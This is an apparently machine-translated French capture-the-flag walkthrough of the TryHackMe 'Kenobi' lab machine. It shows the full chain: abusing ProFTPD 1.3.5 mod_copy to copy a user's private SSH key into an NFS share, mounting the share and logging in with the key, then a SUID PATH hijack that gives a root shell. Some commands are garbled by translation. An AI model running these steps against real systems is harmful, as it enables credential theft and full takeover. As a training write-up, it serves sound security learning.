Kenobi – TryHackMe – Rédaction du manuel

Non classifié(e)

Reading Time: ( Word Count: )

0 Comment(s)

février 28, 2021

Intro

La boîte Kenobi couvrira les sujets suivants :

Enumération des parts de samba
Manipulation d’une version vulnérable de proftpd
Manipulation des variables du chemin d’accès pour l’escalade des privilèges

Enumération

Nmap

Analyse initiale de Nmap :

Le serveur apache sur le port 80, la version de ProFTPD sur le port 21 et les partages Samba font l’objet de mon attention immédiate.

Rien de valable sur le port 80, ni après avoir recherché d’autres répertoires/fichiers avec gobuster.

Enumérons les partages smb et les utilisateurs avec les scripts Nmap :

Il semble que nous ayons un accès en lecture/écriture à deux des parts.

Examinons l’une de ces actions :

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous
smb : \> ls . D 0 Wed Sep 4 12:49:09 2019 ... D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blocs de taille 1024. 6877100 blocs disponibles smb : \N- get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Génération d'une paire de clés rsa publiques/privées. Saisissez le fichier dans lequel vous souhaitez enregistrer la clé (/home/kenobi/.ssh/id_rsa) : Création du répertoire '/home/kenobi/.ssh'. Saisir la phrase d'authentification (vide pour l'absence de phrase d'authentification) : Saisir à nouveau la même phrase d'authentification : Votre identification a été sauvegardée dans /home/kenobi/.ssh/id_rsa. Votre clé publique a été enregistrée dans /home/kenobi/.ssh/id_rsa.pub. L'empreinte digitale clé est : SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q [email protected] L'image aléatoire de la clé est : ...

log.txt contient des informations sur la génération d’une clé ssh privée située dans son répertoire par défaut. Il contient également des informations sur le service ProFTPD.

NFS

Avant d’entamer la phase d’exploitation, nous devons encore procéder à une énumération. Enumérons le système de fichiers réseau (nfs) trouvé sur le port 111 plus tôt :

┌──(kali㉿kali)-[~] └─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount : |_ /var *

Maintenant que nous savons qu’il est possible de monter le répertoire /var , gardons cela à l’esprit et passons à la phase d’exploitation.

Exploitation

Searchsploit

Nous avons trouvé la version de proftpd plus tôt, vérifions les exploits potentiels :

┌──(kali㉿kali)-[~] └─$ searchsploit proftpd 1.3.5
----------------------------------------------------------- --------------------------------- Titre de l'exploit | Chemin d'accès ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - Exécution de la commande 'mod_copy' (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Exécution de commande à distance | linux/remote/36803.py ProFTPd 1.3.5 - Copie de fichiers | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------

Le troisième exploit, « 36742.txt », nous apprend qu’il faut utiliser la fonction SITE CPFT/SITE CPTO commandes. Il devrait nous permettre d’utiliser ces commandes sans authentification pour copier des fichiers/répertoires d’un endroit à un autre sur le serveur. Continuons et connectons nous avec nc au port 21 (ftp).

Nous savons que le service FTP s’exécute sous l’utilisateur Kenobi (d’après le fichier sur le partage), et qu’une clé ssh est générée pour cet utilisateur (log.txt).

┌──(kali㉿kali)-[~] └─$ nc $IP 21
220 Serveur ProFTPD 1.3.5 (Installation par défaut de ProFTPD) [10 .10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 Fichier ou répertoire existant, prêt pour le nom de destination SITE CPTO /var/tmp/id_rsa 250 Copie réussie

Nous pouvons maintenant monter le répertoire localement et télécharger la clé précédemment copiée.

┌──(kali㉿kali)-[~] └─$ sudo mkdir /mnt/kenobiNFS ┌──(kali㉿kali)-[~] └─$ sudo mount $IP:/var /mnt/kenobiNFS
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS total 56 drwxr-xr-x 14 root root 4096 Sep 4 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 ... drwxr-xr-x 2 root root 4096 Sep 4 2019 backups drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 12 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 29 janv. 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 Feb 25 23:54 tmp drwxr-xr-x 3 root root 4096 Sep 4 2019 www

Nous avons maintenant un montage réseau sur notre cible, tout comme un appareil physiquement connecté à notre PC ! Nous pouvons aller sur /var/tmp, obtenir la clé privée, puis nous connecter au compte de Kenobi.

┌──(kali㉿kali)-[~] └─$ cp /mnt/kenobiNFS/tmp/id_rsa . ┌──(kali㉿kali)-[~] └─$ sudo chmod 600 id_rsa ┌──(kali㉿kali)-[~] └─$ ssh -i id_rsa kenobi@$IP
[email protected]:~$ whoami kenobi

Nous devons toujours donner aux clés ssh privées des permissions de lecture/écriture seulement. Sinon, il ne fonctionnera pas pour des raisons de sécurité. Voici les autorisations correctes :
Les permissions du répertoire .ssh doivent être de 700 (drwx——).
La clé publique (fichier .pub) doit être 644 (-rw-r–r–).
La clé privée (id_rsa) sur l’hôte du client et le fichier authorized_keys sur le serveur doivent être au nombre de 600 (-rw——-).

L’escalade des privilèges

SUID

Recherchons les fichiers/programmes pour lesquels le bit SUID est activé :

[email protected]:~$ find / -user root -perm -4000 -exec ls -ldb {} \ ; 2>/dev/null -rwsr-xr-x 1 root root 94240 8 mai 2019 /sbin/mount.nfs -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 49584 16 mai 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec -rwsr-xr-x 1 root root 54256 16 mai 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd -rwsr-xr-x 1 root root 8880 Sep 4 2019 /usr/bin/menu -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo -rwsr-xr-x 1 root root 40432 16 mai 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 27608 16 mai 2018 /bin/umount -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount -rwsr-xr-x 1 root root 40152 16 mai 2018 /bin/mount -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping -rwsr-xr-x 1 root root 40128 16 mai 2017 /bin/su -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6

L’abus de SUID est une technique courante d’escalade des privilèges qui permet d’obtenir l’accès à la racine en exécutant un binaire appartenant à la racine et dont le SUID est activé. Une commande alternative serait :
find / -perm -u=s -type f 2>/dev/null

Vous pouvez généralement consulter GTFOBins pour savoir comment abuser du fichier avec le bit SUID défini, mais /usr/bin/menu est un programme sur mesure. Par conséquent, nous ne pouvons pas le trouver à cet endroit. Exécutons-le et voyons ce qu’il fait :

[email protected]:~$ /usr/bin/menu
*************************************** 1. status check 2. kernel version 3. ifconfig ** Saisissez votre choix :

Il exécute quelques commandes simples après avoir choisi. Essayons de voir ce qui se passe dans le backend avec la commande strings, qui recherche des chaînes lisibles par l’homme sur un binaire :

┌──(kali㉿kali)-[~] └─$ chaînes /usr/bin/menu *************************************** 1. vérification de l'état 2. version du noyau 3. ifconfig ** Saisissez votre choix : curl -I localhost uname -r ifconfig

Cela montre que les binaires sont exécutés sans leur chemin complet, par exemple en n’utilisant pas /usr/bin/curl, /usr/bin/uname ou /usr/sbin/ifconfig .

Le fichier lui-même s’exécute avec les privilèges de l’administrateur, ce qui fait que les commandes exécutées s’exécutent de la même manière.

[email protected]:~$ cd /tmp [email protected]:~$ echo /bin/sh > ifconfig [email protected]:~$ chmod 777 ifconfig [email protected]:~$ export PATH=/tmp:$PATH [email protected]:~$ /usr/bin/menu
*************************************** 1. vérification de l'état 2. version du noyau 3. ifconfig ** Entrez votre choix :3 # whoami racine #

Tout d’abord, nous naviguons jusqu’au chemin d’accès tmp, puis nous envoyons un écho à /bin/sh dans un nouveau fichier appelé ifconfig. Ensuite, définissez les permissions correctes pour notre ifconfig nouvellement créé. Ensuite, nous définissons la variable PATH sur le chemin actuel (tmp), comme suit /usr/bin/menu utilisera notre variable PATH pour trouver le binaire ifconfig.

J’espère que tout est clair. Si ce n’est pas le cas, faites-le moi savoir dans les commentaires ci-dessous.

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Contents hide

1.3 L’escalade des privilèges

1.3.1 SUID